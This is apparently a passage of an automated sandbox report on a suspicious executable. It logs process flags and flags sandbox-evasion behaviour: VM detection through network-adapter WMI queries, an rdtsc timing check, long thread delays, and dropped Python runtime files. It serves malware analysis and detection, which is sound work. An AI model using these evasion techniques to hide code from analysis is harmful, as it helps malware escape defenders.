Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\getmac.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : ASSOCIATORS OF {Win32_NetworkAdapter.DeviceID="1"} WHERE ResultClass=Win32_NetworkAdapterConfiguration
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_NetworkAdapterSetting where Element="Win32_NetworkAdapter.DeviceID=\"1\""
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter

Source: C:\Users\user\Desktop\e45AiBoV6X.exe

Code function: 1_2_00007FFDFB0032F6 rdtsc

1_2_00007FFDFB0032F6

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6319	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6260	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 501
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4129
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2168
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4157
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2338
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3039
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2596
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1015
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2864
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 574

Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73802\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73802\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73802\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73802\python310.dll	Jump to dropped file
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73802\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73802\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI73802\_queue.pyd	Jump to dropped file
